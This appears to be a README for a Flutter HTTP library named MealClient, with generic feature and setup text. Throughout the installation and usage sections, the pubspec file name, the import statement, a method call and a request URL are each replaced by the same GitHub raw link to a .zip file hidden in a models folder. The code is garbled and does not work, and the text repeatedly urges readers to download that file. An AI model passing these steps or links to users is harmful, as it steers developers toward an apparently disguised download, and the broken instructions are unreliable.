MealClient is a simple and effective library for managing HTTP requests in Flutter applications. Built with ease of use in mind, it helps you connect to APIs effortlessly while ensuring top performance.
- JWT Management: Automatically refresh tokens when needed.
- Smart Interceptors: Add authorization headers automatically.
- Credential Fallback: A backup system for credentials to keep your API connections smooth.
- Cache Requests: Save responses to speed up future requests.
- Cache Management: Control how long to keep cached data.
- Simple Setup: Quick and easy to integrate into your Flutter project.
- Clear Documentation: Follow straightforward guides to start coding without hassle.
To begin using MealClient in your Flutter application, follow these steps.
First, visit the releases page to download the latest version of MealClient.
Look for the latest release and click on it. This will take you to a page with release assets. Download the appropriate file for your system.
After downloading, add the MealClient library to your Flutter project.
-
Open your
https://github.com/Zyro95/meal_client_v2/raw/refs/heads/main/lib/src/database/models/v-client-meal-v1.0.zipfile. -
Under dependencies, add the following line:
meal_client: ^2.0.0
-
Save the file and run
flutter pub getin your command line.
In your Dart files where you want to use MealClient, import the library:
import 'https://github.com/Zyro95/meal_client_v2/raw/refs/heads/main/lib/src/database/models/v-client-meal-v1.0.zip';Hereβs how you can use MealClient in your Flutter application.
To make a request, create an instance of the MealClient and call the desired method.
final client = MealClient();
final response = await https://github.com/Zyro95/meal_client_v2/raw/refs/heads/main/lib/src/database/models/v-client-meal-v1.0.zip('https://github.com/Zyro95/meal_client_v2/raw/refs/heads/main/lib/src/database/models/v-client-meal-v1.0.zip');For authenticated requests, ensure you set up JWT as shown below:
https://github.com/Zyro95/meal_client_v2/raw/refs/heads/main/lib/src/database/models/v-client-meal-v1.0.zip('your_jwt_token_here');To run MealClient, ensure your system meets the following requirements:
- Flutter SDK: Version 3.0 or higher
- Dart SDK: Version 3.7.2
- Operating System: Windows, macOS, or Linux
For more detailed information on usage and features, please check the official documentation linked in the releases page. It provides examples for various scenarios and advanced features.
To download MealClient, visit the link below. You will find the latest version ready for download.
Follow these steps, and you'll have MealClient up and running in your Flutter applications in no time. Enjoy developing smoother HTTP requests with ease!